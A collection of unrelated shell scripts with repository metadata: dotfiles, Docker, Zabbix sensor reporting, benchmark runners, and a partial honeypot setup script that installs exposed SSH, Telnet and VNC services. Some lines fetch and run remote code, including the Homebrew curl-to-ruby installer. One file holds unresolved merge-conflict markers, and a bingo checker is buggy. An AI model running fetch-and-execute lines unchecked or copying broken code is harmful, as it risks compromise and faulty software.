7320264f34e19877d3f9bc6e42b9607c2a71f7c1 | Shell | zchbndcc9/.dotfiles | /.setup/install.sh | UTF-8 | 368 | 2.5625 | 3 | [] | no_license | #!/bin/bash
echo "Installing homebrew..."
/usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"
echo "Pouring some brewskies..."
brew bundle
echo "Installing Zsh..."
sh -c "$(brew --prefix)/opt/fzf/install -y"
chsh -s /bin/zsh
echo "Linking packages..."
sh ./link.sh
echo "Installing Neovim packages..."
sh ./nvim.sh
| true |
0ee82b79b3f74fa892f8f60a34ad5c59d1be0c10 | Shell | nikolas/aloe_webdriver | /tools/with_docker_browser | UTF-8 | 879 | 3.90625 | 4 | [
"MIT"
] | permissive | #!/bin/sh -e
# Run a test command with a Selenium Docker image
# Usage: with_docker_browser chrome|firefox|phantomjs command
export BROWSER_TYPE=$1
shift
CONTAINER=$(mktemp -u browserXXXXXX)
PORT=4444
COMMAND=
case $BROWSER_TYPE in
firefox)
IMAGE=selenium/standalone-firefox
;;
chrome)
IMAGE=selenium/standalone-chrome
;;
phantomjs)
IMAGE=wernight/phantomjs
PORT=8910
COMMAND="phantomjs --webdriver=8910"
;;
*)
echo "Invalid BROWSER_TYPE" >&2
exit 1
;;
esac
docker run -d -P --name $CONTAINER $IMAGE $COMMAND >/dev/null
sleep 3 # Give the container time to start
trap "docker rm -f $CONTAINER >/dev/null" EXIT
export SELENIUM_ADDRESS=$(docker port $CONTAINER $PORT)
export SERVER_HOST=$(docker inspect -f '{{.NetworkSettings.Gateway}}' $CONTAINER)
"$@"
| true |
02b3c0eee23353d2b37325b164d64e9f1ee69282 | Shell | luiseduardo1/ULTaxi | /scripts/vehicles.bash | UTF-8 | 1,594 | 3.3125 | 3 | [] | no_license | #! /usr/bin/env bash
[ -z ${is_common_file_loaded} ] && source "common.bash"
declare -xr is_vehicles_file_loaded=true
create_vehicle_route() {
local -r _authentication_header="${1}"
local -r _vehicle="${2}"
curl -H "${_authentication_header}" \
-H "${json_content_type_header}" \
-K "${curl_configuration_file}" \
-X POST \
-d"${_vehicle}" \
"${base_url}/api/vehicles"
}
associate_vehicle_route() {
local -r _authentication_header="${1}"
local -r _vehicle_association="${2}"
curl -H "${_authentication_header}" \
-H "${json_content_type_header}" \
-K "${curl_configuration_file}" \
-X POST \
-d"${_vehicle_association}" \
"${base_url}/api/vehicles/associate"
}
dissociate_vehicle_route() {
local -r _authentication_header="${1}"
local -r _vehicle_association="${2}"
curl -H "${_authentication_header}" \
-H "${plain_text_content_type_header}" \
-K "${curl_configuration_file}" \
-X POST \
-d"${_vehicle_association}" \
"${base_url}/api/vehicles/dissociate"
}
with_vehicle_association() {
local -r _function="${1}"
shift 1
_administrator_authentication_header="$(create_authentication_header "$(signin_route "${administrator}")")"
associate_vehicle_route "${_administrator_authentication_header}" "${vehicle_association}"
${_function} "${@}"
dissociate_vehicle_route "${_administrator_authentication_header}" "${driver_username}"
signout_route "${_administrator_authentication_header}"
}
| true |
84ec200f5e3d7f19d38b2586fa3cc6f73789bc34 | Shell | jeffbuttars/django-fast-env | /.settings.sh | UTF-8 | 1,048 | 3.453125 | 3 | [] | no_license | #!/bin/bash
TOP_DIR=$(readlink -f $(dirname $BASH_SOURCE))
# Django Project name and subdir name
<<<<<<< HEAD
PROJ_NAME='django-fast-env'
=======
DJANGO_PROJ='project_rename_me'
>>>>>>> c8ec2c6a7b77ca5f291d5ad42217441217e81eed
# Gunicorn settings file
GU_SETTINGS_FILE="$TOP_DIR/$DJANGO_PROJ/gunicorn.py"
# Name of the virtualenv
VENV_OPTIONS='--no-site-packages'
VENV_NAME='venv'
function vactivate()
{
echo "Activating virtualenv $VENV_NAME"
cd $TOP_DIR
. "$VENV_NAME/bin/activate"
cd -
} #vactivate()
function buildenv()
{
echo "Building and Activating virtualenv $VENV_NAME, then starting the Django project."
oldir=$PWD
cd $TOP_DIR
if [[ ! -d "$VENV_NAME" ]]; then
# Install a virutalvenv
test -d "$VENV_NAME" || virtualenv $VENV_OPTIONS $VENV_NAME;
# If there are requirements, install them.
if [[ -f "./requirements.txt" ]]; then
vactivate
if [[ -f "$DJANGO_PROJ.pybundle" ]]; then
pip install "$DJANGO_PROJ.pybundle"
fi
pip install $(cat ./requirements.txt)
fi
fi
cd $oldir
} #buildenv()
| true |
6b5061216cbbfa371cdd804dde2ae1813811c7f7 | Shell | matfantinel/personal-elementaryos-tweaks | /elementary_tweaks.sh | UTF-8 | 1,222 | 2.609375 | 3 | [] | no_license | #!/bin/bash
#Enable ppas
echo "----------------------------------- Enabling ppas..."
sudo apt install software-properties-common -y
#Install system76-power package for better power management
echo "----------------------------------- Installing system76-power..."
sudo apt-add-repository -y ppa:system76-dev/stable
sudo apt update
sudo apt install system76-power -y
#Install elementary-tweaks
echo "----------------------------------- Installing elementary-tweaks..."
sudo add-apt-repository ppa:philip.scott/elementary-tweaks -y
sudo apt install elementary-tweaks -y
#Enable indicators
echo "----------------------------------- Enabling app indicators..."
mkdir -p ~/.config/autostart
cp /etc/xdg/autostart/indicator-application.desktop ~/.config/autostart/
sed -i 's/^OnlyShowIn.*/OnlyShowIn=Unity;GNOME;Pantheon;/' ~/.config/autostart/indicator-application.desktop
wget http://ppa.launchpad.net/elementary-os/stable/ubuntu/pool/main/w/wingpanel-indicator-ayatana/wingpanel-indicator-ayatana_2.0.3+r27+pkg17~ubuntu0.4.1.1_amd64.deb
sudo dpkg -i wingpanel-indicator-ayatana_2.0.3+r27+pkg17~ubuntu0.4.1.1_amd64.deb
#Remove duplicated network indicator
killall nm-applet
sudo rm /etc/xdg/autostart/nm-applet.desktop
| true |
59aa6c2b51421603d6ad56eb5152188ba134b154 | Shell | ElegantCosmos/dotfiles | /bash/scripts/openlatest | UTF-8 | 635 | 3.53125 | 4 | [] | no_license | #!/bin/bash
if [ $# -eq 1 ]; then
if [ $1 -gt 0 ]; then
N_FILES=$1
echo 'Copying '"$N_FILES"' most recent of *.pdf, *.eps, *.ps files...'
else
echo 'Error: single argument must be a number greater than 0.'
fi
else
N_FILES=1
echo 'Copying most recent of *.pdf, *.eps, *.ps files...'
fi
LATEST_FILES=`ls -rt *.eps *.pdf *.ps 2> /dev/null | tail -n $N_FILES | awk '{print $1}'`
#LATEST_FILES=`ls -rt *.eps *.pdf *.ps 2> /dev/null | tail -n $N_FILES`
#LATEST_FILES=`ls -rt *.eps *.pdf *.ps 2> /dev/null`
#LATEST_FILES=`ls -rt *.eps *.pdf *.ps`
#echo $LATEST_FILES
openlocal $LATEST_FILES
exit
| true |
e771285e8697525813246b47835cce55fc282ef5 | Shell | golebier/CoAnSys | /logs-analysis/src/main/oozie/submit-to-oozie.sh | UTF-8 | 954 | 3.375 | 3 | [] | no_license | #!/bin/bash
TASK=$1
TASK_ID=$2
USER=$3
OOZIE_SERVER=$4
PROPERTIES_FILE=$5
WORKFLOW_HDFS_DIR="/user/${USER}/workflows/coansys/${TASK}-${TASK_ID}"
WORKFLOW_LOCAL_LIB_DIR="${TASK}/workflow/lib"
if [ ! -d "$WORKFLOW_LOCAL_LIB_DIR" ]; then
mkdir ${WORKFLOW_LOCAL_LIB_DIR}
fi
echo "Copying required libaries to ${WORKFLOW_LOCAL_LIB_DIR}"
sudo -u "${USER}" rm ${WORKFLOW_LOCAL_LIB_DIR}/*
sudo -u "${USER}" cp ../../../../logs-analysis/target/logs-analysis-1.0-SNAPSHOT-jar-with-dependencies.jar ${WORKFLOW_LOCAL_LIB_DIR}/
echo "Recreating workflow data in HDFS"
sudo -u "${USER}" hadoop fs -rm -r ${WORKFLOW_HDFS_DIR}
sudo -u "${USER}" hadoop fs -mkdir ${WORKFLOW_HDFS_DIR}
echo "Putting current workflow data to HDFS"
sudo -u "${USER}" hadoop fs -put ${TASK}/* ${WORKFLOW_HDFS_DIR}
echo "Submiting workflow to Oozzie Server: ${OOZIE_SERVER}:11000"
sudo -u "${USER}" oozie job -oozie http://${OOZIE_SERVER}:11000/oozie -config ${PROPERTIES_FILE} -run
| true |
ba2fd177652b7f6b92c0784ba139ea3a65473c71 | Shell | antonshulyk/kabam-puppet | /modules/sruser/templates/scriptDir/static-deploy.sh | UTF-8 | 197 | 2.578125 | 3 | [] | no_license | #!/bin/bash
RELEASE_DIR=$1
STATIC_CONTENT_DIR=/var/www/lighttpd/static/$2
echo "Copying content from $RELEASE_DIR/static/* to $STATIC_CONTENT_DIR"
cp -r $RELEASE_DIR/static/* $STATIC_CONTENT_DIR;
| true |
24cd16e540d3ff54deba1a49ab9861d8fb7b6bc9 | Shell | rcmd-funkhaus/monitoring | /roles/monit/files/plugins/check_remote_filesystem.sh | UTF-8 | 316 | 2.90625 | 3 | [] | no_license | #!/usr/bin/env bash
source /etc/monit/plugins/okfail.sh
if timeout 10 curl --fail -A "monit-ping-check" -s -o /dev/null -w "%{http_code}" --connect-timeout 5 --max-time 5 "file://${1}/health.json"; then
ok "Remote filesystem at ${1} is accessible"
else
fail "Remote filesystem at ${1} is inaccessible!"
fi
| true |
ab0de1bf63c104abbe4556c413fbfc1ef243a5d1 | Shell | pxigelewis/CPS393-Assignemnt | /PaigeBranch | UTF-8 | 4,412 | 3.53125 | 4 | [] | no_license | #!/bin/bash
#exit status 1
if [ ! -f $1 -o ! -r $1 ]
then
echo "Input file is missing or unreadable."
exit 1
fi
#exit status 2
if [[ $(cat $1 | wc -l) != 6 ]]
then
echo "input file does not have 6 lines"
exit 2
fi
if [[ ${wholecard[$i]} = *[^0-9\]* ]] #checking if the file has any non-digit characters
then
echo "seed line format error"
exit 3
fi
for i in {0..30}
do
if [[ $i == 0 ]] #checking for layout errors
then
if [[ ${wholecard[$i]} = *[0-9]* ]] #checking if the first row contains any non-digit characters
then
echo "card format error (layout error)"
exit 3
fi
else #checking if the formatting of the matrix is wrong
if [[ $(echo ${wholecard[$i]} | grep "^[0-9]\+ [0-9]\+ [0-9]\+ [0-9]\+$") == "" ]]
then
echo "card format error (matrix format error)"
exit 3
fi
fi
done
#exit status 3
if [[ ${wholecard[$i]} = *[^0-9\]* ]] #checking if the file has any non-digit characters
then
echo "seed line format error"
exit 3
fi
for i in {0..30}
do
declare -a wholecard=()
while read line;
do
wholecard+=($line)
done < ./$1 #this uses a filename in the commandline in the same directory
# ( "${arr[@]:index:length}" "item to add" "${arr[@]:index:length}" )
if [ ${#wholecard[@]} != 26 ]
then
echo "the length is not 26 items"
#add in the error message here and then add in the prompt to make a randomly generated card.
fi
echo "here is the element at the first index ${wholecard[1]}"
seed=${wholecard[0]}
row1=( "${wholecard[@]:1:5}" )
row2=( "${wholecard[@]:6:5}" )
row3=( "${wholecard[@]:11:5}" )
row4=( "${wholecard[@]:16:5}" )
row5=( "${wholecard[@]:21:5}" )
echo "${row1[@]}"
echo "${row2[@]}"
echo "${row3[@]}"
echo "${row4[@]}"
echo "${row5[@]}"
#first checks if the calledNums array is empty
#then adds randomly generated numbers to it
#then checks if random number was previously generated
#if so generates a new one
declare -a calledNums=()
ran=`expr $RANDOM \% 75 + 1`
if [ -z "$calledNums" ]
then
calledNums+=("$ran")
fi
if [[ "$ran" =~ "${calledNums[*]}" ]]
then
ran=`expr $RANDOM \% 75 + 1`
fi
#marks the card if generated number is in the card
#similar to Dan's code with slight changes
#read -sp 'Hit any button to draw a number and hit q to quit."
for i in $wholecard
do
if [[ "${wholecard[$i]}" =~ "$ran" ]]
then
${wholecard[$i]}="${wholecard[$i]}""m"
fi
done
#this is the card marker section of the code. We have a pseudovariable
#callednumber will be whatever the $RANDOM number is.
for i in $wholecard
do
if [[ $ran == ${wholecard[$i]} ]]
then
${wholecard[$i]}="${wholecard[$i]}""m"
fi
done
#these will be the error checks, the first one here is checking if there are 26 items in the array.
if [ ${#wholecard[@]} == 26 ]
then
echo "the length is 26 items"
fi
#exit code 4 - card format error
#1stcolumn=${wholecard[@]}
firstcolumn=( ${wholecard[1]} ${wholecard[6]} ${wholecard[11]} ${wholecard[16]} ${wholecard[21]} )
for j in {0..4}
do
# echo "this is 1st column ${firstcolumn[$j]}"
if [ ${firstcolumn[$j]} -gt 15 ] || [ ${firstcolumn[$j]} -lt 1 ]
then
echo "card format error"
exit 4
fi
done
secondcolumn=( ${wholecard[2]} ${wholecard[7]} ${wholecard[12]} ${wholecard[17]} ${wholecard[22]} )
for j in {0..4}
do
if [ ${secondcolumn[$j]} -gt 30 ] || [ ${secondcolumn[$j]} -lt 16 ]
then
echo "card format error"
exit 4
fi
done
thirdcolumn=( ${wholecard[3]} ${wholecard[8]} ${wholecard[13]} ${wholecard[18]} ${wholecard[23]} )
for j in 0 1 3 4
do
if [ ${thirdcolumn[$j]} -gt 45 ] || [ ${thirdcolumn[$j]} -lt 31 ]
then
echo "card format error"
exit 4
fi
done
fourthcolumn=( ${wholecard[4]} ${wholecard[9]} ${wholecard[14]} ${wholecard[19]} ${wholecard[24]} )
for j in {0..4}
do
if [ ${fourthcolumn[$j]} -gt 60 ] || [ ${fourthcolumn[$j]} -lt 46 ]
then
echo "card format error"
exit 4
fi
done
fifthcolumn=( ${wholecard[5]} ${wholecard[10]} ${wholecard[15]} ${wholecard[20]} ${wholecard[25]} )
for j in {0..4}
do
if [ ${fifthcolumn[$j]} -gt 75 ] || [ ${fifthcolumn[$j]} -lt 61 ]
then
echo "card format error"
exit 4
fi
done
| true |
94d2f400c812e84164034b2549d987e87140f6f4 | Shell | vadorovsky/packer-ci-build | /provision/ubuntu/kernel-next-bpftool.sh | UTF-8 | 373 | 2.796875 | 3 | [] | no_license | #!/bin/bash
set -xe
export 'KCONFIG'=${KCONFIG:-"config-`uname -r`"}
sudo apt-get install -y --allow-downgrades \
pkg-config bison flex build-essential gcc libssl-dev \
libelf-dev bc
git clone --depth 1 git://git.kernel.org/pub/scm/linux/kernel/git/bpf/bpf-next.git $HOME/k
cd $HOME/k
git --no-pager log -n1
cd $HOME/k/tools/bpf/bpftool
make
sudo make install
| true |
a11917956ac1e3bc446c337a26e3dfef335c908e | Shell | mbillings/puppet-sensors | /templates/lm_sensors.sh.erb | UTF-8 | 7,095 | 3.5 | 4 | [] | no_license | #!/bin/bash
#===============================================================================
#
# FILE: <%= scope.lookupvar('sensors::lm_script') %>
#
# USAGE: Part of the Puppet module "sensors"
#
# DESCRIPTION: Initialize lm (if necessary), polls hardware info and
# sensors, and creates/sends items/values to reporting
# application
#
# OPTIONS: ---
# REQUIREMENTS: ---
# BUGS: ---
#
# NOTES: Part of the Puppet module "sensors", although variables can be
# hard-coded if facter and foreman are not used
# Due to curl formatting, quotation marks must be delimited so
# that the delimits will be read at execution time and
# interpreted as quotes.
# For examples and formatting (may be outdated), see
# http://www.zabbix.com/documentation/1.8/api
#
# ORGANIZATION: ---
# CREATED: ---
# REVISION: ---
#===============================================================================
#-------------------------------------------------------------------------------
# Look up variables once to save on overhead and increase readability
#
# These can be removed/commented out and filled in manually if facter and
# foreman are not part of your environment
#-------------------------------------------------------------------------------
key=<%= scope.lookupvar('sensors::key') %>
key_last_sel=<%= scope.lookupvar('sensors::key_last_sel') %>
log=<%= scope.lookupvar('sensors::log') %>
reporting_class=<%= scope.lookupvar('sensors::facter_reporting_class') %>
reporting_sender=<%= scope.lookupvar('sensors::facter_reporting_sender') %>
reporting_server=<%= scope.lookupvar('sensors::facter_reporting_server') %>
thisserver=<%= fqdn %>
zs=<%= scope.lookupvar('$reporting_class::$reporting_sender') %>
zserver=<%= scope.lookupvar('$reporting_class::$reporting_server') %>
zport=<%= scope.lookupvar('sensors::reporting_port') %>
zapi=<%= scope.lookupvar('sensors::reporting_api_url') %>
zauth=<%= scope.lookupvar('sensors::reporting_auth') %>
thisserver=<%= fqdn %>
# if lm_sensors does not detect any sensor modules, run initial configuration
/etc/init.d/lm_sensors status
if [ $? -ne 0 ]
then echo "Running initial config" >> $log
# detect the kernel modules we need (this is run twice)
(while :; do echo ""; done ) | /usr/sbin/sensors-detect
sleep 1
# testing on cap1-ge02-hsc has shown that, despite logical sense, a second run either:
# 1. makes more sensors discoverable, and/or
# 2. makes more modules accessible
(while :; do echo ""; done ) | /usr/sbin/sensors-detect
# now see if any modules are loaded
module_list=`grep -i MODULE_[0-9]= /etc/sysconfig/lm_sensors | wc -l`
if [ "$module_list" -eq 0 ]
then
$zs -vv -z $zserver -p $zport -s $thisserver -k $key"status" -o NoKernelModulesAvailable 1>/dev/null 2>/dev/null
exit 0
else for i in `grep -i MODULE_ /etc/sysconfig/lm_sensors | grep -v "#" | awk -F'=' '{print $2}'`; do /sbin/modprobe $i; done
fi
fi
# Gather sensors information in one variable. Why not an array? Surprisingly, at this time of writing (6 August 2012), `time` says arrays are marginally slower. And since it's less words to expand variables than write for loops, let's do this
SENSORS=( `/usr/bin/sensors 2>/dev/null | grep "(" | grep -iv ALARM | tr '\n' ';'` )
# If no info returned, we have a problem <- unnecessary? #
#if [ $( echo /usr/bin/sensors | wc -l ) -eq 0 ]
#then $zs -vv -z $zserver -p $zport -s $thisserver -k $key"lm_status" -o NoInformationAvailable 2>/dev/null
#fi
#
# Get the host id for this host #
hostdata=\{\"jsonrpc\":\"2.0\",\"method\":\"host.get\",\"params\":\{\"output\":\"extend\",\"filter\":\{\"host\":\[\"$thisserver\"\]\}\},\"auth\":\"$zauth\",\"id\":\"2\"\}
#echo curl -i -X POST -H 'Content-Type:application/json' -d $hostdata $zapi >> $log
hostid=$( curl -i -X POST -H 'Content-Type:application/json' -d $hostdata $zapi | tr ',' '\n' | grep \"hostid | tr '\"' '\n' | grep [0-9] )
# Get the app id for this host's sensors application #
getappid=\{\"jsonrpc\":\"2.0\",\"method\":\"application.get\",\"params\":\{\"search\":\{\"name\":\"Sensors\"\},\"hostids\":\"$hostid\",\"output\":\"extend\",\"expandData\":1,\"limit\":1\},\"auth\":\"$zauth\",\"id\":2\}
# Get the zabbix application id for this host #
#echo curl -i -X POST -H 'Content-Type:application/json' -d $getappid $zapi >> $log
appid_exists=$( curl -i -X POST -H 'Content-Type:application/json' -d $getappid $zapi | grep $thisserver | tr ',' '\n' | grep \"applicationid | tr '\"' '\n' | grep [0-9] )
# number of data items #
totalitems=$( echo "${SENSORS[@]}" | tr ';' '\n' | grep -v "^$" | wc -l )
#if application does not exist, we need to create it along with all items #
if [ -z $appid_exists ]
then
# create sensors application for host's classification
appdata=\{\"jsonrpc\":\"2.0\",\"method\":\"application.create\",\"params\":\[\{\"name\":\"Sensors\",\"hostid\":\"$hostid\"\}\],\"auth\":\"$zauth\",\"id\":2\}
#echo curl -i -X POST -H 'Content-Type:application/json' -d $appdata $zapi >> $log
appid=$( curl -i -X POST -H 'Content-Type:application/json' -d $appdata $zapi | tr ',' '\n' | grep \"applicationid | tr '\"' '\n' | grep [0-9] )
# create csg.sensors_ipmi_daemon_status item
itemdata=\{\"jsonrpc\":\"2.0\",\"method\":\"item.create\",\"params\":\{\"description\":\"csg.sensors_lm_status\",\"key_\":\"csg.sensors_lm_status\",\"type\":\"7\",\"value_type\":\"4\",\"delay\":\"120\",\"hostid\":\"$hostid\",\"applications\":\[\"$appid\"\]\},\"auth\":\"$zauth\",\"id\":\"2\"\}
#echo curl -i -X POST -H 'Content-Type:application/json' -d $itemdata $zapi >> $log
curl -i -X POST -H 'Content-Type:application/json' -d $itemdata $zapi
# create items for all data points
for (( i=1; i<=$totalitems; i++ )); do
itemname=$( echo "${SENSORS[@]}" | tr ';' '\n' | awk -F\: '{print $1}' | head -"$i" | tail -1 | sed s/\://g | sed s/\ //g ) &&
itemdata=\{\"jsonrpc\":\"2.0\",\"method\":\"item.create\",\"params\":\{\"description\":\"$key"$itemname"\",\"key_\":\"$key"$itemname"\",\"type\":\"7\",\"value_type\":\"0\",\"delay\":\"120\",\"hostid\":\"$hostid\",\"applications\":\[\"$appid\"\]\},\"auth\":\"$zauth\",\"id\":\"2\"\} &&
echo curl -i -X POST -H 'Content-Type:application/json' -d $itemdata $zapi >> $log &&
curl -i -X POST -H 'Content-Type:application/json' -d $itemdata $zapi; done
fi
# Inform zabbix that the daemon is active
$zs -vv -z $zserver -p $zport -s $thisserver -k $key"status" -o Active 2>/dev/null
# send gathered sensor data to zabbix
for (( i=1; i<=$totalitems; i++ )); do itemline=$( echo "${SENSORS[@]}" | tr ';' '\n' | head -"$i" | tail -1 ) && itemname=$( echo $itemline | awk -F\: '{print $1}' | sed s/\://g | sed s/\ //g ) && itemvalue=$( echo $itemline | awk -F\: '{print $2}' | awk -F\( '{print $1}' | awk '{print $1}' | sed s/\+//g | sed s/\°//g ) && $zs -vv -z $zserver -p $zport -s $thisserver -k $key"$itemname" -o $itemvalue; done
| true |
13d81ca05d045e2cded184d02e966bfeeb00a1da | Shell | mdcallag/mytools | /bench/run_tpcc/run.sh | UTF-8 | 547 | 2.703125 | 3 | [] | no_license | nw=$1
engine=$2
mysql=$3
ddir=$4
myu=$5
myp=$6
myd=$7
rt=$8
mt=$9
dbh=${10}
# extra options for create table
createopt=${11}
# number of concurrent clients
dop=${12}
# suffix for output files
sfx=${13}
sla=${14}
# name of storage device in iostat for database IO
dname=${15}
loops=${16}
bash run1.sh $nw $engine $mysql $ddir $myu $myp $myd $rt $mt yes no $dbh $createopt $dop $sfx $sla $dname
for i in $( seq $loops ) ; do
bash run1.sh $nw $engine $mysql $ddir $myu $myp $myd $rt $mt no yes $dbh $createopt $dop $sfx.${i} $sla $dname
done
| true |
3961f5ef27da19738e691549c2cdd198dd9e1e8a | Shell | KatieMishra/VoiceClassification | /sphinxbase/autoconf-2.69/automake-1.14/t/cond15.sh | UTF-8 | 1,468 | 2.921875 | 3 | [
"BSD-2-Clause",
"MIT",
"GPL-2.0-or-later",
"GPL-1.0-or-later",
"GPL-2.0-only",
"GPL-3.0-only",
"FSFAP",
"GPL-3.0-or-later",
"Autoconf-exception-3.0",
"LicenseRef-scancode-other-copyleft"
] | permissive | #! /bin/sh
# Copyright (C) 2001-2013 Free Software Foundation, Inc.
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2, or (at your option)
# any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
# Regression test for conditionally defined overriding of automatic rules.
. test-init.sh
cat >> configure.ac << 'END'
AC_PROG_CC
AM_CONDITIONAL([COND1], [true])
AM_CONDITIONAL([COND2], [true])
END
cat > Makefile.am << 'END'
if COND1
if COND2
bin_SCRIPTS = helldl
helldl$(EXEEXT):
rm -f $@
echo '#! /bin/sh' > $@
echo '-dlopen is unsupported' >> $@
chmod +x $@
endif
else
if COND2
else
bin_SCRIPTS = helldl
helldl$(EXEEXT):
rm -f $@
echo '#! /bin/sh' > $@
echo '-dlopen is unsupported' >> $@
chmod +x $@
endif
endif
bin_PROGRAMS = helldl
END
$ACLOCAL
$AUTOMAKE
$FGREP helldl Makefile.in # For debugging.
num1=$($FGREP -c 'helldl$(EXEEXT):' Makefile.in)
num2=$($FGREP -c '@COND1_FALSE@@COND2_TRUE@helldl$(EXEEXT):' Makefile.in)
test $num1 -eq 4
test $num2 -eq 1
:
| true |
6c9c9df97af3e6db4d7e99f550c22ac07b01c297 | Shell | vvvinodkumar/QCS-Ansible-Engine-Automation-By-Chandra | /Ansible-Engine-session-05/check_rhel7.sh | UTF-8 | 213 | 3.125 | 3 | [] | no_license | #!/bin/bash
function check_rhel () {
#check_rhel=$(cat /etc/redhat-release | awk -F" " '{print $6}' | awk -F"." '{print $1}')
check_rhel=7
if [ $check_rhel -eq 8 ]
then
return 0
else
return 1
fi
}
check_rhel
| true |
584a57aea447b0a1623b599ca24561e2b3f6a850 | Shell | zester/LFS-RPM | /rpmbuild/TOOLS-LFS/binutils-pass-2.sh | UTF-8 | 839 | 3.34375 | 3 | [] | no_license | #!/bin/bash
set -o errexit # exit if error
set -o nounset # exit if variable not initalized
set +h # disable hashall
shopt -s -o pipefail
pkgname=binutils
pkgver=2.23.2
srcname=../SOURCES/${pkgname}-${pkgver}.tar.bz2
srcdir=${pkgname}-${pkgver}
function unpack() {
tar xf ${srcname}
}
function clean() {
rm -rf ${srcdir} binutils-build
}
function build() {
sed -i -e 's/@colophon/@@colophon/' \
-e 's/doc@cygnus.com/doc@@cygnus.com/' bfd/doc/bfd.texinfo
mkdir -v ../binutils-build
cd ../binutils-build
CC=$LFS_TGT-gcc \
AR=$LFS_TGT-ar \
RANLIB=$LFS_TGT-ranlib \
../${pkgname}-${pkgver}/configure \
--prefix=/tools \
--disable-nls \
--with-lib-path=/tools/lib \
--with-sysroot
make
make -j1 install
make -C ld clean
make -C ld LIB_PATH=/usr/lib:/lib
cp -v ld/ld-new /tools/bin
}
clean;unpack;pushd ${srcdir};build;popd;clean
| true |
6458225275ddf5f760123ee5572a7d83bd60fd9d | Shell | resingm/honeypot | /scripts/setup-debian-hp.sh | UTF-8 | 7,525 | 3.953125 | 4 | [] | no_license | #!/bin/bash
# ------------------------------------------------------------------
#
# Setup script to automate the setup of a honeypot
#
# The script aims to automate the task of setting up a debian-based
# honeypot. The honeypot will operate an SSH server, a Telnet server
# and a VNC server (vncterm). The services will be served on their
# default ports 22 (SSH), 23 (Telnet) and 5900 (VNC). Furthermore,
# logrotation will be reconfigured, such that the two log files will
# rotate each night. The log files will be filtered and transfered
# to a central server each night.
#
# Log files:
# /var/log/auth.log -> sshd
# /var/log/syslog -> telnetd, linuxvnc
#
# If you have any remarks on the script or any feedback, please do
# not hesitate to contact the author of this script.
#
# The script was written and published
# by Max Resing <m.resing-1@student.utwente.nl>
#
# ------------------------------------------------------------------
SEMAPHORE=honeypotsetup
VERSION=0.1.0
USAGE="Usage: $0 [-vh]"
# Flags
# Constants
DOTENV=/etc/honeypot/.env
DIRECTORY=/etc/honeypot/
VNC_SERVICE=vncservice.service
CONFIG_SSH=/etc/ssh/sshd_config
CONFIG_TEL=/etc/inetd.conf
CONFIG_VNC=/etc/systemd/system/vncservice.service
CONFIG_LOG=/etc/logrotate.conf
CRON_SCRIPT=/usr/local/bin/upload-logs.sh
CRON_JOB=/etc/cron.d/honeypot
URL_SSH=https://static.maxresing.de/pub/ut/sshd_config
URL_TEL=https://static.maxresing.de/pub/ut/inetd.conf
URL_VNC=https://static.maxresing.de/pub/ut/vncservice.service
URL_LOG=https://static.maxresing.de/pub/ut/logrotate.conf
URL_CRON_SCRIPT=https://static.maxresing.de/pub/ut/upload-logs.sh
URL_CRON_CONFIG=https://static.maxresing.de/pub/ut/honeypot.cron
SSH_KEY=/home/${SUDO_USER}/.ssh/id_honeypot
# --- Option processing --------------------------------------------
#if [ $# == 0 ] ; then
# echo $USAGE
# exit 1;
#fi
while getopts "vh?" opt; do
case $opt in
v)
echo "Version $VERSION"
exit 0;
;;
h)
echo $USAGE
exit 0;
;;
?)
echo "Unkown option $OPTARG"
exit 0;
;;
:)
echo "No argument value for option $OPTARG"
exit 0;
;;
*)
echo "Unkown error while processing options"
exit 0;
;;
esac
done
# --- Semaphore locking --------------------------------------------
LOCK=/tmp/${SEMAPHORE}.lock
if [ -f "$LOCK" ] ; then
echo "Script is already running"
exit 1
fi
trap "rm -f $LOCK" EXIT
touch $LOCK
# --- Script -------------------------------------------------------
echo "================================================================"
echo " Automated Setup Script for Honeypots"
echo "================================================================"
# Check if script runs with super user permissions
if [[ $(id -u) -ne 0 ]] ; then
echo "Script can not be executed without super user permissions"
echo "Try again executing 'sudo $0'"
exit 1
fi
# --- Prerequisites ------------------------------------------------
echo "This script automates the setup of a honeypot for some research"
echo "at the University of Twente. Please answer the following request"
echo "to start the script."
echo "If you have any doubts, please cancel the execution with CTRL+C"
echo "and contact m.resing-1@student.utwente.nl"
echo ""
echo "Questions (2):"
echo " * Which category does the honeypot belong to?"
echo -n " [campus, cloud, residential]: "
read hp_cat
echo " * Which honeypot ID did you get assigned?"
echo -n " [number >= 0]: "
read hp_id
echo ""
echo "Performing general setup tasks:"
echo " * Create honeypot directory"
mkdir -p ${DIRECTORY}
echo " * Create .env file"
# Clean possibly existing .env from previous executions
if [[ -e ${DOTENV} ]] ; then
rm -f ${DOTENV}
fi;
echo "HP_CATEGORY=${hp_cat}" > ${DOTENV}
echo "HP_ID=${hp_id}" >> ${DOTENV}
echo " * Updating system"
apt-get -qq update > /dev/null
apt-get -qq upgrade > /dev/null
echo " * Installing curl"
apt-get -qq install curl > /dev/null
echo ""
# --- Setup SSH honeypot -------------------------------------------
echo "Setup SSH honeypot:"
echo " * Installing SSH server (openssh-server)"
apt-get -qq install openssh-server > /dev/null
echo " * Backup ${CONFIG_SSH}"
cp ${CONFIG_SSH} ${CONFIG_SSH}.bak
echo " * Download Configuration sshd_config"
curl -s -o ${CONFIG_SSH} ${URL_SSH}
echo " * Enable sshd.service"
systemctl enable sshd.service -q
echo "Successfully set up SSH honeypot"
echo ""
# --- Setup telnet honeypot ----------------------------------------
echo "Setup Telnet honeypot:"
echo " * Installing telnet server (telnetd)"
apt-get -qq install openbsd-inetd > /dev/null
apt-get -qq install inetutils-telnetd > /dev/null
echo " * Backup ${CONFIG_TEL}"
cp ${CONFIG_TEL} ${CONFIG_TEL}.bak
echo " * Download inetd.conf"
curl -s -o ${CONFIG_TEL} ${URL_TEL}
echo " * Enable inetd.service"
systemctl enable inetd.service -q
echo "Successfully set up Telnet honeypot"
echo ""
# --- Setup VNC honeypot -------------------------------------------
echo "Setup VNC honeypot:"
echo " * Installing vncterm"
apt-get -qq install linuxvnc > /dev/null
echo " * Installing openssl (secure password generation)"
apt-get -qq install openssl > /dev/null
echo " * Download unit file"
